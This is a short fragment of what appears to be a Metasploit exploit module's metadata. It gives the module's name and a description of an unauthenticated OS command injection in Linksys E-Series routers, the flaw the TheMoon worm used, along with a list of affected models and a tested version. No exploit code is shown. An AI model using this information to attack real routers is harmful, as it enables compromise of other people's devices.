'Name' => 'Linksys E-Series TheMoon Remote Command Injection',
'Description' => %q{
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
injection. This vulnerability was used from the so called "TheMoon" worm. There
are many Linksys systems that might be vulnerable including E4200, E3200, E3000,
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This module was tested
successfully against an E1500 v1.0.5.
